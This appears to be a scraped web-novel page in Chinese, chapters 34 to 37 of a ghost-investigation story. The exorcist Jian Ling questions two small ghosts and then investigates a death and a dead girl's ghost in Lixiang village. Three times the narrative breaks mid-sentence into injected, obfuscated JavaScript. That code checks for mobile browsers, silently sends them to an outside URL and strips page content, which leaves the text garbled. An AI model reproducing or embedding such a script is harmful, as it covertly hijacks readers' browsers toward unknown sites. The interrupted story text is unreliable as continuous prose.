“放心吧，它们不敢缠上你，怕你还来不及呢。” 简灵调出于昊的照片投放在大屏幕上，抬起下巴向二鬼示意：“认识吗？” 晦鬼的眼神飞快一瞥，慌忙地垂下头摇了摇，果断道：“不认识。” 至于穷鬼则是认认真真看了半晌，想了想：“我在老大这儿见过，但是不认识。” “你……”晦鬼偷偷撞她一下，眼神慌乱。 简灵语气冷淡下来：“不要试图骗我。” “就是就是，别试图欺骗阴差大人，离了她谁还能为我们做主呀。”穷鬼满脸讨好，往简灵脚边凑了凑，“简阴差，我真的不认识，就五六年前吧……确实见过他跟我们老大一起进来，但后面我也没见过了。” 觑了一眼神色紧张的晦鬼，简灵“嗯”了一声：“你们老大怎么认识他的？” 穷鬼赶忙接话：“我不知道呀……” “我问他。” 几人的目光同时聚焦到晦鬼身上，明眼人都能看出他的紧张，可他仍然咬牙摇头：“我不知道。” “行。” 简灵很干脆地接受了这个回答，让二鬼都一愣。 可下一秒它们恨不得马上逃离这个地方。 只见简灵指尖夹了一张黄符，另一手直接将穷鬼一把抓住：“留下你们是为了找你们那个老大的线索，既然你们都不知道，那也没有留下的必要了。” 她的语气极其平淡，就好像要踩死两只无关紧要的小飞虫一般，却让穷鬼大惊失色。 “不不阴差大人不要！！救、救命啊我真的不知道啊啊啊——” 穷鬼在简灵的手下挣扎，她很清楚自己这种祟存在的意义——那就是毫无意义。 家家户户都很嫌弃它们，每年过年那些鞭炮声都能让它们吓破胆，但新年一过，却依然乐此不疲地辗转寻找下一户人家。 别说简灵这种强大的活阴差了，就连稍微懂点玄学的半吊子道士都能随随便便把它俩碾死。 但无人在意，因为它们太微不足道了。 没有鬼气，没有灵魂，没有再生或者转世的能力，微不足道到灰飞烟灭也就只是一缕烟消散了而已。 穷鬼怕极了。 “求你了阴差大人……我真的不知道……”她幻化的是一张还算清秀的脸，如今却再也绷不住，整张脸上散发出恐惧，伸出手挣扎着抓向旁边的晦鬼，“阿晦你快说啊！！你不要隐瞒了老大不会来救我们的！阿晦求求你了救救我——” 就在黄符将要落在穷鬼头上的那一刻，一直咬紧牙关的晦鬼扑向穷鬼，神情狰狞着妥协了：“——我说！” 简灵的手一顿，从善如流地收回黄符，眼眸垂下：“你本来也没必要隐瞒。” 穷鬼瘫软在地，脸色惨白，恍惚地往后爬了两步。 或许是二鬼看起来实在跟人类没什么区别，让秦雨宁和苏靖希都没有跟鬼对话的实感，反而更是像是在威胁人。 两人都被简灵难得冷漠的神情给震慑住了，都自觉地闭上嘴。 只有季星迟轻笑一声：“那个老大到底给了你什么好处，你这么维护她，连死都不怕。” 晦鬼跪坐在地上，垂头丧气：“只有她把我当个人……” 一旁失魂落魄的穷鬼听到这话，转过头看他，听他诉说着所谓世道不公，没有鬼权等等，只有老大把他当个人看待，还邀请他参加聚会，去体验人类生活。 穷鬼从来没有听他说过这些，本来就被简灵抓着威胁一番气不过，这会儿更是越听越上头，一骨碌从地上爬起来指着他的脑袋大骂。 “我们遭人嫌不是应该的吗！你也不看看你是谁啊！” “谁家好人乐意接受我们这种自带倒霉光环的鬼祟啊？？你是猪吗？？” “你以为当人就好了？我们见过多少家破人亡的，就算没有我俩的影响那些也都是迟早的事，人类那点子贪欲和破事儿就这么吸引你吗？？” 一番话给穷鬼说的差点撅过去，这么多年了，看到晦鬼还是一脸晦气的样子真是气不打一处来。 “那我们生来就是这么不公平的吗？”晦鬼还在犟，一张脸紧绷着不服气。 简灵眨了眨眼，再次摸出黄符：“那你也可以选择死。” “诶别别别……”穷鬼赶紧扒拉一下他，转脸给简灵赔笑，“他都是气话，简阴差别生气，您有什么要问的尽管问！” 穷晦二鬼相伴相生，一个消失了，另一个也存在不了多久，况且二鬼相伴了这么久，多少也有点感情，穷鬼既不想把自己搭进去，也不忍看晦鬼遭难。 “从资料里来看，这些受害者之间没有任何交集，也似乎没什么共通点，那么就只能会是一种可能——吴青主动找上他们的。” 季星迟思索片刻：“吴青并不是无差别杀人，她一定是有目标的，但是她选人的理由是什么呢？” 简灵斜睨了一眼二鬼，穷鬼赶紧用手肘撞了一下晦鬼，小声道：“你快把你知道的说出来啊。” 晦鬼抬头正好撞上简灵冷淡的目光，不由得打了个颤：“这个我的确不知道，老大从来不跟我说杀人相关的事……我只知道老大当年是在一场慈善宴会上认识的于昊，并把他邀请到家里来做客。” “慈善宴会？”秦雨宁皱眉，“恶鬼还会参加这种宴会？” “都说了我们老大不是、不是……”晦鬼想了半天也说出个所以然，只依然认为老大不是杀人不眨眼的恶鬼，“她还资助人类孩子上学呢！” 简灵与季星迟对视一眼，她眼中的意味很明显了，季星迟了然地点点头，摸出手机给助理发消息查一下吴青的资助情况。 “她为什么要邀请于昊？于昊也做慈善吗？”简灵问，她不太相信这种会以暴力威胁村民的地产商会有这么好心。 果然晦鬼啐了一句：“他才没有，也不知道他怎么混进来的！反正老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏靖希眼睛一亮，突然想到了什么：“诶！你们说于昊想收购的那个闹鬼的村子，会不会是真的闹鬼啊？那边又是坟地又是老村的，搞不好跟这个故事一样，是什么祖先的鬼魂？” “啊？”秦雨宁愣了下，这苏靖希的思维也太跳脱了，“不应该吧，后面也没听说闹鬼啊。” 两人正热烈地讨论着自己的猜测，突然季星迟轻咳一声，打断了他们。 他摇了摇手机：“刚才晦鬼是不是说，于昊不知怎么混进了慈善晚宴，并且是吴青主动对他表示兴趣的？” “对。” “那事情就有趣了。”季星迟划了下手机，嘴角弯起，“那场慈善宴会是吴青牵头举办的，为的就是邀请富豪们继续继续资助穷苦人家的孩子。” “继续资助？”简灵挑眉。 季星迟点点头：“她给的理由是自己资助过一个孩子上学，所以想办一场慈善宴会邀更多人参与这项慈善项目，而她资助的那个孩子……就在狸湘村。” 几人皆是一怔。 狸湘村，就是当年于昊想强行收购的那个村子。 线索在一瞬间就被理清了。 “所以当年于昊不是随便混进来的……而是吴青打了个窝，等着于昊自己上钩。” 34. 回避 一番商议后，简灵决定跟谢慈去一趟狸湘村看看情况，两位大明星则是要进组了，没办法参与进来，好在剧组一开始也在影视城附近。 只有苏靖希孤孤单单地回去上课。 他恹恹地趴在桌子上：“师傅，我也想去狸湘村捉鬼。” “不行。”简灵无情拒绝。 “你都不知道新南艺有多严格！”苏靖希一拍桌子，转头问另一个在新南艺上过课的人，“季星迟，你当年是怎么坚持下来的啊！我去上了几天课就已经很痛苦了，难以想象，你居然在那待了五年！” 季星迟淡淡道：“每天就是上课，下课，回家睡觉，时间很快就过去了。” “你就不想出去玩吗？” “没空。”季星迟抬起头来想了想，“新南艺附近也没什么好玩的。” 说到这个苏靖希更生气了：“岂止是没什么好玩的，简直就是落后啊！那边连逛街的地方都没有，全是那什么……破石头交易市场！” “破石头？什么东西？”简灵好奇。 季星迟解释道：“新南艺在深南市，临近国界，那边有很多翡翠交易市场。” “什么翡翠，都是石头。”苏靖希忿忿不平，刚去那两天他还图新鲜去溜达看看，好没意思，“那一摊一摊的，全是没有剖开的石头。” “哦……”秦雨宁恍然大悟，“赌石是吧，那东西纯赌博，你可别沾啊。” 简灵听完微微皱眉，顿了下，还是叮嘱他：“苏靖希你少去那边。” “我才不玩，我又不懂这个。”苏靖希摇头晃脑，学着那些石头贩子的口吻，“那些人吹嘘着什么一刀富，像是买了石头就能中大奖似的。” “不是这个问题。”简灵摇了摇头，“有些可能会沾上些不好的东西，苏靖希你这个体质，好自为之。” 苏靖希欲哭无泪：“……我再也不去了。” 很快几人便散了伙，送两人离开时简灵拍了拍苏靖希的肩膀：“老老实实上课吧，别乱跑，等下次回来教你口诀。” “真的啊？！”苏靖希瞬间有了动力，兴高采烈地爬上车冲几人挥挥手。 送走了二人，简灵一回头差点撞上季星迟。 她无语：“你贴这么近干嘛？” 季星迟低头微微一笑：“我看见了。” “什么？” “你在他身上放了什么东西。” “哦……”简灵耸了耸肩，“那小子天生招鬼，新南艺附近又比较混杂，在他身上放了一缕驱鬼香，起码小鬼们不那么容易缠上他。” 季星迟眨了眨眼，更加靠近她：“我也要。我们家里可是凶宅，附近的鬼也不少，万一我遇到鬼了怎么办？” “万一你个头。”简灵伸出一根手指，戳着他的额头缓缓推开，“普通小鬼见了你比见了鬼还可怕好吗……小鬼用不着，大鬼跑不了！” “简灵。” “干嘛？” “你对我好凶。” 简灵：…… 刚关上门的保镖听到这话，手一顿，移开视线扭过头去，正对上了谢慈同样不自在的目光，两人都有些想笑。 简灵叹气，她就知道搬进来会有这样的问题。 本来她跟季星迟也认识几年了，算得上是关系还不错的朋友，可这家伙时不时就会冒出一些奇怪的话，让她很有压力。 “谢慈。”简灵装作什么事都没有发生的样子，转身招呼谢慈，“你住那间。把东西收拾一下吧，待会儿我再去布个阵。” 又来了。 季星迟垂眸不语。 每次他只要表现得稍微亲近一些，她就会避而不见。 这算什么？ 回避型人格吗？ 季星迟又好气又好笑。 算了，至少现在住在同一屋檐下，总能记起他的。 房间里，简灵刚把日常衣物收拾个七七八八，门口就传来季星迟礼貌的敲门声。 “简灵，我今天就要去片场了，你在家注意安全。”季星迟没有强行推开门，说完后见她没有开门的意思，将额头轻轻地抵在门上。 门里传来一句平淡的“好”，季星迟安静地站了一会儿，出门离开了。 过了半晌，简灵神态自若地来到花园中，手中拿着一个精致的罗盘，在仔仔细细地感应着什么。 花园已经被好好地休整过，草坪铺得整整齐齐，灌木也修剪过了，完全看不出之前被多次掘地三尺的痕迹，更想不到这底下曾经埋葬着多名死者。 谢慈抱臂靠在墙边，看她忙活了好一会儿，还是忍不住开口：“你跟季星迟……没事吧？” “什么？”简灵转头。 “我不知道你们发生过什么，但至少看得出，你们之间的情谊不假——我指的是朋友之间，就像秦雨宁和苏靖希也是一样。”谢慈踟蹰片刻，“既然是朋友，有些话我认为说开了更好，如果还想做朋友的话。” 就连谢慈这种一个人待了千百年的鬼魂，都能感觉出她和季星迟之间微妙的不对劲，简灵自己怎么可能不知道？ 她也不是木头。 谢慈试探地问：“是因为他想以身相许吗？” 简灵哽了一下，无奈地笑了笑：“其实他自己都搞错了。” “什么意思？” 简灵也走过来靠在谢慈旁边，垂下手中的罗盘：“季星迟曾说过，他小时候被鬼缠住，当时也是一个鬼魂小女孩救了他。而他后来有一次问我有没有修习过类似能变成鬼魂的法术，从那时我就明白了——” “哦。”谢慈瞬间理解了，了然地点点头，“他以为那个是你，但其实不是你？” “是啊，我可是阴差，专门抓鬼的，怎么会变成鬼呢。”简灵哭笑不得，季星迟或许是把自己当成她了，“而且我真的没见过他，更不记得他说的什么撬门锁之类的——虽然我真的会撬门锁。” 谢慈噗嗤一下笑出声：“这是重点吗？” “我真的会撬！”简灵的神色灵动，难得露出几分小孩子般的得意，“小时候师傅把我关在房间里练功，我自己偷偷撬了锁出去玩。当时我还想练一种古老的术法，那什么……灵魂出窍？但师傅说太危险了，不让我练。” “我小时候也是。”谢慈靠着墙边缓缓下滑，坐在草地上，“小时候被父亲逼着练武，连中秋节都不让我跟幼仪出去玩，幼仪就偷偷送些新鲜玩意儿给我。” “幼仪就是你妹妹吗？” 谢慈“嗯”了一声：“是她的小字。幼仪的体质不适合学武，所以父亲也没有强迫她，但她总是说想学，理由只是看我耍刀很威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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美美吃完猫条的小黑猫满意地舔舔爪子，心满意足地眯起眼，蹭了蹭他的手。 忽然，一阵微弱的冷风刮过，两人都搓了搓胳膊上的鸡皮疙瘩。 小黑猫猛地睁大眼睛，瞳孔扩得极大，像是被惊了一下，骤然伸出爪子给了同事一下！ “哎哟！”同事一惊，“怎么了这是？” 幸好隔着裤子没破皮，可小黑猫依然没有放过他，一个翻身从地上爬起来，咬住他的裤脚，喵喵呜呜骂骂咧咧地往外拖。 两人都是一头雾水，搞不懂小黑猫要干什么。 工作人员摸出烟盒，随意问道：“它是不是没吃饱啊？” “不像啊，难道想让我再喂喂别的猫？”同事摸了摸头，“这种猫很聪明的，说不定是有猫崽儿呢，我去看看，你去不？” “不去。”工作人员摆摆手，“我抽根烟回去睡了。” 同事跟着小黑猫在村里来回穿梭，好几次差点闯进别人剧组里，他连连不好意思地跟人道歉。 在他感觉已经第三次路过某个剧组时，终于停下了脚步，蹲下来无奈地看着小黑猫：“你到底要干嘛啊……” “轰隆——” 话音未落，远处的村边忽然传来一声巨响，像是平地一声雷。 他吓得一屁股坐在地上。 抬头看去，好像正是刚才他们坐着闲聊休息的地方。 35. 狸湘村 等她们到达狸湘村的时候，山脚下的警戒线已经收了，警车呜呜啦啦地开走了，各个剧组也很快恢复了工作。 简灵眯了眯眼，空气中弥漫着一股死人的气息。 “魂魄刚走。”她淡淡道，“应该是正常死亡。” 谢慈低头沉吟：“这么巧，我们刚说要来这儿查，就死人了？” “或许跟我们来不来没什么关系……是这个村子多少有点问题。” 说话间，一阵悉悉簌簌的声音从路边的房顶上传来，两人抬头看去，一只小黑猫悠闲地在房顶上打滚，听到她们的动静后停下来，软软糯糯地“喵”了一声。 “小咪～小咪～” 明显放轻了的声音由远及近地传来，不多时从转角冒出来一个大约不到二十岁的女孩，她留着齐耳的短发，身上穿着一件看起来洗过很多次的素色T恤，正四处张望着。 一看到简灵二人，她即刻闭了嘴，谨慎的移开眼神。 “小咪你在这里啊，快下来。”女孩朝着房顶上伸出手，着急忙慌的样子，“昨晚你跑哪儿去啦。” 可小黑猫似乎并不着急回家，只趴在房檐上，一双大眼睛目不转睛地盯着简灵，像是在看什么新奇的事物。 “谢慈，你帮她把猫抱下来吧。” “我？”谢慈指了指自己的鼻子，颇有些无奈，“可动物们都……” “哦对，差点忘了。” 谢慈的本体是鬼魂，小动物们一般对这种气息都比较敏锐，所以不太容易靠近，反而经常会被她吓到炸毛。 “我去把它赶下来吧，好抓一点。”谢慈摇了摇头。 她本来个子就高，身体轻快地踏上门口的石柱，一手扒着房檐，一手试图凑近小黑猫。 可没想到的是这只猫并不害怕谢慈，歪着脑袋好奇了一会儿，居然主动走近嗅了嗅谢慈的指尖，亲昵地蹭蹭她的手。 谢慈一怔，不过也没多犹豫，试探地伸出手，单手将小黑猫抱在怀中，轻盈地一跃而下。 “谢谢啊…”女孩略显惊讶地接过小黑猫。 “你好，请问一下你知道这村子发生了什么事吗？”简灵也走上前，礼貌地微笑，“我刚看到有警车……” 谁知道话都还没说完，女孩如同一只炸了毛的猫一样后退两步，目光警觉地在两人中间逡巡，还没等她说完扭头就跑了。 “诶……” 简灵尴尬地摸摸鼻子。 她已经进化到都连人类都害怕她了？？ 谢慈还在回想刚才：“简灵，那只猫好像不怕我？” “它不怕你就对了。” 简灵转过身，审视的目光扫过这个奇怪的村子：“因为它身上沾染了很重的鬼魂的气味。” “……简大师？” 身后突然传来一个不太确定的声音，简灵扭头看去，一个戴着鸭舌帽和黑框眼镜的年轻女孩正迟疑地看着她。 简灵点点头：“你是……之前在苏靖希他们剧组的工作人员吧？” 她的记性向来不错，这女孩当时一眼认出她手中的葡萄纹花鸟银香囊。 女孩很是惊喜，没想到简灵居然还记得她，连连点头：“对对对！简大师您记性真好……我叫路遥，叫我小路就行～” “你今天在这边工作么？”简灵问道。 “嗯！”路遥有些不好意思，推了推眼镜，“我们场务就是一块砖嘛，哪个剧组需要就去哪里打杂。” 简灵摇了摇头：“拍戏流程这么复杂，没有你们场务，那就全乱套了。” 路遥腼腆一笑，陡然想起来什么：“简大师今天是来帮忙驱鬼的吧？我估计肯定有剧组害怕那些风言风语的。” “什么风言风语？”简灵不置可否，顺着她的话问道。 “就是……”路遥凑近了她，将手遮在嘴边小声说，“昨晚不是死人了嘛，有人说几年前就潜藏在村子里的鬼，现在又出来了！” 简灵皱眉，她说的应该就是五年前于昊带人来谈判收购时的事情，可于昊已经死了好几年了，跟现在还有关系么？ “昨天这里到底发生了什么事？” “说是有个工作人员被山上的落石砸死了。”路遥心有余悸，“听说双腿都被砸了个稀巴烂……我没敢去，他们说太吓人了……现在已经都处理完了，要不我带你们去那边看看吧？” 简灵点点头：“麻烦你了。” 几人刚转身，路遥眼尖看到了自己的同伴，突然一拍脑袋：“稍等啊，我去跟我朋友说一声，马上就来——昭昭！昭昭你等等我！” 谢慈投去疑惑的目光，却只看到两个女孩子的背影消失在转角处。 “怎么了？” “没什么。”谢慈摇了摇头。 路遥很快就风风火火地跑回来了，身上背着个斜挎的帆布包，气喘吁吁：“走吧，简大师！” “不着急，你慢点。” 她擦了一把额头上的汗，抱歉道：“不好意思不好意思，我朋友马上还要赶去下一个剧组，比较急。” 看她不自觉慌张的样子，谢慈微微皱眉：“你平时都一直跟人道歉吗？” 路遥卡了壳，有些尴尬地摸了摸头，不知道该说什么。 “你们场务也很辛苦啊，还要赶场子。”简灵岔开话题，跟着路遥往前走。 “她不是场务啦，是替身演员。”路遥笑了笑，“我俩也是在剧组认识的，她觉得镜头中的演员们都在闪闪发光，立志也要当个演员，不过自己不是科班出身，只能从替身做起……但是她很漂亮的，也很努力，我觉得她一定能行！” 简灵问道：“那你呢？” “我？”路遥一怔。 “你也想当演员么？” “不是的，我、我想当个编剧……”路遥的声音突然比蚊子还小，羞赧的红从耳朵延伸到了后颈，毫无底气的样子。 简灵觑了她一眼：“想当编剧又不是什么见不得人的事。” 路遥慌忙摆摆手：“我大学就学的是编剧相关，本想毕业后先去剧组历练历练，没想到这一历练就是两年……有时候看到他们那么专业的样子，我就觉得还差得远呢，” 说完她顿了顿，眼神有些黯淡：“虽然说是历练，但我们其实都是些边缘人物——就像昨天那个人，意外去世了大家也就讨论一阵，很快就没人记得了。” 简灵垂眸，她想到了陈小志，当年意外去世后甚至连遗体都无人在意。 大学时期的爱好也就永远停留在了那个时期。 “小路。” “嗯？” 路遥突然感觉肩膀沉重了一下，扭头发现简灵正将胳膊搭在她的肩膀上，目光平静地看向前方：“既然没人记得你，那就更容易放开手脚去干了。” “什么…？”路遥怔怔地被她带着往前走。 “我接触过很多鬼魂，他们可能怀着怨恨或者遗憾死去，你还活着，再坏能坏到哪里去？” 简灵垂下头看她 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“那山路难走得很。”路遥想了想，摇了摇头，“警察只说让大家注意安全，远离山脚下这一片，会跟相关部门联系，让他们过来勘测下。” 看起来的确只是一起意外。 纯倒霉。 那些人冲洗完就走了，大石头也扔在那里不管了，毕竟看起来可能需要起重机才搬得动，而且刚砸死过人，谁也不愿意触这个霉头。 简灵走上前，伸出手感应着石头上的气息，上面果然附着了一层淡淡的、几乎察觉不到的鬼气。 她皱起眉头：“小路，你刚才说的村子里闹鬼是怎么一回事？” “大概从四五年前开始吧，狸湘村的年轻人陆续都出去工作了，毕竟租给剧组挣的钱也不少，慢慢的就都举家搬走了，只留了一些不愿意走的老人家。” 路遥说完有些犹豫，不太敢靠近石头那片水渍，只站得远远的：“简大师，要不你们往回来点吧……警察说了可能还会有落石，让我们注意安全。” “嗯。”简灵望了一眼郁郁葱葱的山上，收回了目光。 几人沿着村子边上乱逛，路遥继续刚才的话题：“然后这次不是出事了嘛，村里那些老人才说起当年大家搬走是因为……村里闹鬼。” “闹鬼？死人了么？”简灵心中一动。 但路遥也不清楚：“可就在提起闹鬼后，当晚跟他在一起的那个同事忽然精神恍惚，看起来特别害怕的样子。” 简灵皱起眉头：“他怎么了？” “他说……他当时说了一句‘不要的脚可以剁了’。” 死去的那个人一双腿被石头砸的稀烂，冥冥之中同事就认为是自己害死了他……虽然警察后面盘问过前因后果，认定只是一个巧合罢了。 路遥搓了搓胳膊，大白天的，感觉有些瘆得慌……毕竟本来大家也没在意，当个都市传说听听，可这么前后联系起来真有点怵得慌。 一阵古怪的风吹过，路遥猛然回过神来，脸色惨白得往简灵身后躲。 三人不知不觉走到了村子外面，面前是一堆一堆的黄土，胡乱竖着一些字迹模糊的石碑…… 她们走到了村子的墓地。 此刻已经是黄昏了，天色渐晚，逆光的夕阳给一块块坟墓镀上了诡异的光。 简灵眨了眨眼，在不远处的土堆上，坐着一个身影淡淡的女孩，半透明的脚悠闲地晃荡着，她脚边翻着肚皮撒娇的正是那只小黑猫。 36. 李乐乐的鬼魂 “小路。” 简灵一个转身挡在路遥面前：“你说的那个工作人员还在村子里么，还是说已经回去了？” 路遥一愣，下意识道：“好像还在呢，村子中间有个活动中心，之前他一直在里面休息。” “那能不能麻烦你先带谢慈先过去？”简灵笑了笑，“我有点事要处理，一会儿去找你们。” “哦哦，好。”路遥很听话地点点头，没多问什么，跟着谢慈离开了。 她其实也不愿意待在墓地里…… 太吓人了……简大师胆子真大啊。 简灵环视四周，这片墓地甚至都不能算是正规的墓园，零零散散立着些墓碑，有些甚至都没有立碑、没有木牌，只有一个孤零零的小土包，后世人都不知道这里埋葬着的是什么人。 她往前走了几步，忽然脚下一顿，手不自觉地抚住胳膊上的旧疤痕，隐隐作痛。 只要见到小孩子的鬼魂，就会痛。 如同遇到阴雨天的陈年伤疤一般，从骨子里散发出滞钝的痛感，大约是一种条件反射吧。 小姑娘的鬼魂还保留着死之前的样貌，约莫十岁出头，一头枯草般黄黄黑黑的头发随意地披散着，穿着一件棉绸布料的连衣裙，花样很老式，像是奶奶那辈手工做的，但是看着就很柔软舒适。 她哼着不知名的童谣，脚丫子一晃一晃的，逗弄着脚边的小黑猫。 可惜小咪蹭不到她，只能翻着肚皮在地上打滚，喵喵呜呜地叫着，引得小姑娘嘻嘻直笑。 简灵这才发现，她的墓旁散落着许多颗粒，好像是……猫粮？ 甚至还有用洗干净的一次性饭盒装了些鱼和肉，不过看起来小黑猫不太喜欢那些人类的食物，几乎没有动过。 小咪先发现了简灵，冲她远远地“喵”了一声，这才引起了小姑娘的注意。 可还没等简灵开口，小姑娘像是感应到了什么，如同一只惊弓之鸟，咻地钻进了墓中。 过了许久也没见她出来，简灵叹了口气走上前去，手掌抚摸着土地感应着，微风中夹杂着几分湿润的土腥气，没有带来其他鬼魂的气息。 想强行把她弄出来也不是不行，但简灵没在她身上感受到恶意，也不想打草惊蛇。 毕竟小姑娘的墓碑也同样简陋…… 或许不能称之为墓碑，那只是一块长方型的、边缘有些毛糙的木板，一看就是从什么废旧的桌子床板上掰下来的，小小的一块，正如小姑娘死去的时候一样。 李乐乐。 卒于五年前的七月，年仅11岁。 * 村子的活动中心很大，但几乎空空如也，现在村里留守的老人们也不太来活动，负责人也很少出现，基本只有剧组的工作人员们偶尔在这里休息。 “简大师。”看到简灵进来，路遥小声喊她，悄悄指了指坐在角落里的一个穿着工作人员马甲的年轻男人。 男人也看到了她，虽然不认识，出于礼貌也机械地点了一下头。 简灵径直走过去坐在他旁边，不经意间触碰了下他的胳膊。 不是撞鬼，应该没什么问题。 估计只是自己吓自己。 她瞥了一眼对方胸口的工作牌：“你好，王智先生。” “你好……”王智神情有些恍惚。 简灵单刀直入：“我想问一下，你昨晚具体遇到了什么事情让你认为是闹鬼了呢？” “你也是警察吗？”他一脸茫然。 “不是，我受某个剧组所托，来调查一下闹鬼的事情。”简灵顺口胡诌道。 “哦哦……”王智咽了一下口水，有些羞愧地垂着头，“都怪我乱说话，是不是给其他剧组添麻烦了啊。” “没事的，都过去了。”简灵拍了拍他的肩膀，趁机掐了个静心诀，驱散了他心中对于鬼的恐惧。 王智忽然觉的面前这个年轻女孩身上有一种淡淡的冷感，却奇异地令他感到安心。 他冷静了一会儿，将昨夜遇到的情况事无巨细地告诉了简灵，提到那句“不要的腿”的时候又忍不住哆嗦了一下。 不会真的是自己一语成谶了吧…… 可简灵皱起眉头：“你遇到的是不是一只全黑的猫？” “对对……”王智试探地说，“都说黑猫有灵性……我觉得真的是它救了我。” 简灵不置可否。 小咪能看见鬼魂是肯定的，难道它当时是感觉到了什么危险，所以才赶紧拉了一把王智？ 或者说……是李乐乐？ 她问：“村子里几年前也闹过鬼是什么情况，你知道么？” 王智紧张地点点头：“我听说之后吓死了，就找几个老人家打听了下——说是五年前本来有人来村子里买地的，当时大多村民都不想卖，所以谈判陷入了僵局……当时来收购的人很凶悍，好像还不小心害死了一个小女孩。” 简灵心里一咯噔。 “那个被害死的小女孩叫什么？” “不知道，他们都不记得了。出了人命之后村民们就更有理由反对了，连夜将他们轰出了村子，可在那之后村里就频频闹鬼……大半夜鸡飞狗叫，有人家的窗户忽然被打开，还有人看到穿着白衣服的小女孩在村里游荡！” “然后呢？” “然后收购的人就再也没有来过了……虽然都觉得是那个小女孩的鬼魂吓走了他们，但村里的人也很害怕，陆陆续续搬走了不少。”王智的额头上冷汗密布，脸色煞白，“昨天村里的老人都说，是、是当年那个鬼又出来害人了！！” 他的声音骤然放大，伴随着一声巨大的闷雷，把一旁的路遥吓了一大跳。 “打、打雷了…？” “嗯，夏天天气多变，估摸着要下雨了。”一旁的谢慈平静道。 路遥舒了口气，觉得自己的神经太紧绷了，跟听鬼故事一样，赶紧移开视线试图转移一下注意力。 “——啊！” 一声短促的尖叫把几人都惊到，路遥整个人跳起来挂到谢慈身上：“谢慈姐！有、有鬼！” 谢慈：…… 只见窗边冒出一个脑袋，脸色又黑又臭，在外面昏黄灯光的照映下显得格外诡异，一双眼睛愤恨地瞪着王智：“——别听他们胡说八道！乐乐根本没有害人！” 是她？ 简灵与谢慈对视一眼，居然是那个养小黑猫的短发女孩。 女孩气冲冲地跑进来，眼神快速扫过屋内的几人，愤愤不平：“落石砸下来关乐乐什么事？！她五年前就去世了，才11岁！一个什么都不懂的小朋友！现在还要被这些风言风语侮辱，你们……你们这些坏透了的大人！” 王智被突如其来的变故吓了个激灵，瑟缩了一下，诚恳地道歉：“对不起啊…我不知道……” 女孩倔强地抿了抿嘴，心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432035|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中却泄了气。 她刚才听到这人不仅阻止别人踢小咪，还给小咪喂吃的……这样对猫咪好的人又会是什么坏人呢？ “那五年前呢？”简灵不认为是她有天眼能看到李乐乐的鬼魂，只平静地问，“这次是没有人看到鬼魂作怪，可五年前确实有不少人看到了吧？” 其实简灵自己都不信那套说辞，只是在诈她。 普通人根本看不到鬼魂，如果能看到那已经是恶鬼的程度了，可女孩太过笃定，让她也不禁产生了一丝疑惑。 五年前，到底发生了什么事？ “我不知道！”女孩倔强地扭过头。 简灵没有勉强，只是淡定地点点头：“我刚才在村子里检查了一遍，确实有鬼魂存在的痕迹，既然你也不知道的话，那我就要用点手段驱鬼了。” 女孩的脸色白了几分。 “不管是谁的鬼魂，反正被我抓住了就能制伏镇压，驱散了之后它们就魂飞魄散永世不得超生，再也不能做恶害人了。” “不行……” 女孩肉眼可见地慌了，指着简灵怒道：“你是个骗子！我们狸湘村里根本没有鬼！” 简灵耸了耸肩，无所谓道：“有没有鬼在作祟，我做个法驱驱你就知道了。” 说着她就招呼谢慈往外走，下一秒就被拽住了胳膊。 女孩的眼中已经溢出了泪水，她的声音都慌得颤抖：“不、不行……求你了，别做法，别杀鬼……” “杀鬼？”简灵的表情有几分古怪，“鬼本来就已经死了。” “乐乐是死了……可是，我能感觉到她还在我身边！” 屋内寂静了一瞬。 所有人陷入死一般的沉默。 王智咽了一下口水。 好后悔，他就不该接这个节目组的活，就不该来狸湘村，这里的村民也太吓人了吧！ 反观路遥倒是还算淡定，毕竟她亲眼见过简灵驱鬼。 虽然她并不知道当时驱的“鬼”现在就站在她旁边……谢慈看着死死抱住自己胳膊的路遥，默默往前挪了一点，挡在她身前。 “展开说说。”简灵从善如流地转过身，“你叫什么，跟李乐乐是什么关系？” “我叫李音……是乐乐的堂姐……等等，你怎么知道她叫李乐乐？！”李音瞪大了眼睛，不可置信地看着她。 当然是在墓碑上看到的。 简灵故弄玄虚：“我算出来的。” “你真的是大师么？”李音犹豫了一瞬，眼神中却忽然迸发出希望的光，像是抓住了一棵救命稻草，“那你……能不能找到乐乐的鬼魂？” “你都看不到鬼魂的存在，为什么说感觉还在你身边？”简灵皱眉。 李音怔怔道：“因为她给我托梦了。” “什么时候？” “经常，在她死后没多久就经常托梦给我……”李音的神情柔和下来，声音中也含着一丝怀念，“她说她很担心小咪，让我拿些吃的放在她的墓周围，这样她就能看到小咪过的好不好了。” 原来李乐乐墓前那些散落的猫粮和剩饭剩肉，都是李音放的。 “既然你认为她还在逗留在村里，那五年前村民们看到的鬼，也可能就是她。”简灵冷声质疑道。 “不是她！” 李音大声否定，狠狠地咬牙，一字一句地说：“因为五年前那个鬼，是我假扮的！” 37. 瓢泼大雨 五年前，于昊带着一群人来狸湘村谈拆迁的事，他自以为条件给的很丰厚了，可那些就只是糊弄村民的手段。 现在社会发展迅速，村里的年轻人们多少也心里有数，而老人们更是不愿意搬离祖辈们生活的地方。 